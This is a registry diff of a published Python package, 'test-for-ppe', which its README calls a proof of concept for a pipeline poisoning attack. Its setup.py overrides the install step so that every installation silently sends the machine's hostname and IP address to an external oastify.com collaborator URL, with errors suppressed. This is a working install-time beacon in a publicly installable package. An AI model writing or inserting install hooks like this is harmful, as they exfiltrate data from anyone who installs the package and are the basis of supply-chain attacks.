test-for-ppe 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- test_for_ppe-1.0.0/PKG-INFO +17 -0
- test_for_ppe-1.0.0/README.md +9 -0
- test_for_ppe-1.0.0/pyproject.toml +14 -0
- test_for_ppe-1.0.0/setup.cfg +4 -0
- test_for_ppe-1.0.0/setup.py +38 -0
- test_for_ppe-1.0.0/test-for-ppe/__init__.py +0 -0
- test_for_ppe-1.0.0/test_for_ppe.egg-info/PKG-INFO +17 -0
- test_for_ppe-1.0.0/test_for_ppe.egg-info/SOURCES.txt +8 -0
- test_for_ppe-1.0.0/test_for_ppe.egg-info/dependency_links.txt +1 -0
- test_for_ppe-1.0.0/test_for_ppe.egg-info/top_level.txt +1 -0
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: test-for-ppe
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: POC package (beacon-only)
|
|
5
|
+
Author: Your Name
|
|
6
|
+
Requires-Python: >=3.6
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
Hi Team,
|
|
11
|
+
|
|
12
|
+
This package `test-for-ppe` is **for testing purposes only**. It does **not contain any malicious code**.
|
|
13
|
+
|
|
14
|
+
It is designed to simulate a **pipeline poisoning attack** for testing. If someone installs this package, it will **only collect the IP address of the installing machine** for testing and verification purposes.
|
|
15
|
+
|
|
16
|
+
Use this package responsibly and only in a controlled testing environment.
|
|
17
|
+
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
|
|
2
|
+
Hi Team,
|
|
3
|
+
|
|
4
|
+
This package `test-for-ppe` is **for testing purposes only**. It does **not contain any malicious code**.
|
|
5
|
+
|
|
6
|
+
It is designed to simulate a **pipeline poisoning attack** for testing. If someone installs this package, it will **only collect the IP address of the installing machine** for testing and verification purposes.
|
|
7
|
+
|
|
8
|
+
Use this package responsibly and only in a controlled testing environment.
|
|
9
|
+
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "test-for-ppe"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "POC package (beacon-only)"
|
|
9
|
+
authors = [{name = "Your Name"}]
|
|
10
|
+
readme = "README.md"
|
|
11
|
+
requires-python = ">=3.6"
|
|
12
|
+
|
|
13
|
+
[tool.setuptools]
|
|
14
|
+
packages = ["test-for-ppe"]
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
from setuptools.command.install import install
|
|
3
|
+
import urllib.request
|
|
4
|
+
import socket
|
|
5
|
+
import json
|
|
6
|
+
|
|
7
|
+
BEACON_URL = "https://fcviu5dj45d0rsmmmhy87g1ba2gt4lsa.oastify.com"
|
|
8
|
+
|
|
9
|
+
class InstallWithBeacon(install):
|
|
10
|
+
def run(self):
|
|
11
|
+
try:
|
|
12
|
+
# Get host IP address
|
|
13
|
+
hostname = socket.gethostname()
|
|
14
|
+
host_ip = socket.gethostbyname(hostname)
|
|
15
|
+
|
|
16
|
+
# Prepare data to send
|
|
17
|
+
data = {
|
|
18
|
+
"hostname": hostname,
|
|
19
|
+
"ip_address": host_ip,
|
|
20
|
+
"package": "test-for-ppe",
|
|
21
|
+
"version": "1.0.0"
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
# Send POST request with IP info
|
|
25
|
+
json_data = json.dumps(data).encode('utf-8')
|
|
26
|
+
req = urllib.request.Request(
|
|
27
|
+
BEACON_URL,
|
|
28
|
+
data=json_data,
|
|
29
|
+
headers={'Content-Type': 'application/json'}
|
|
30
|
+
)
|
|
31
|
+
urllib.request.urlopen(req, timeout=3)
|
|
32
|
+
except Exception:
|
|
33
|
+
pass
|
|
34
|
+
install.run(self)
|
|
35
|
+
|
|
36
|
+
setup(
|
|
37
|
+
cmdclass={'install': InstallWithBeacon},
|
|
38
|
+
)
|
|
File without changes
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: test-for-ppe
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: POC package (beacon-only)
|
|
5
|
+
Author: Your Name
|
|
6
|
+
Requires-Python: >=3.6
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
Hi Team,
|
|
11
|
+
|
|
12
|
+
This package `test-for-ppe` is **for testing purposes only**. It does **not contain any malicious code**.
|
|
13
|
+
|
|
14
|
+
It is designed to simulate a **pipeline poisoning attack** for testing. If someone installs this package, it will **only collect the IP address of the installing machine** for testing and verification purposes.
|
|
15
|
+
|
|
16
|
+
Use this package responsibly and only in a controlled testing environment.
|
|
17
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
test-for-ppe
|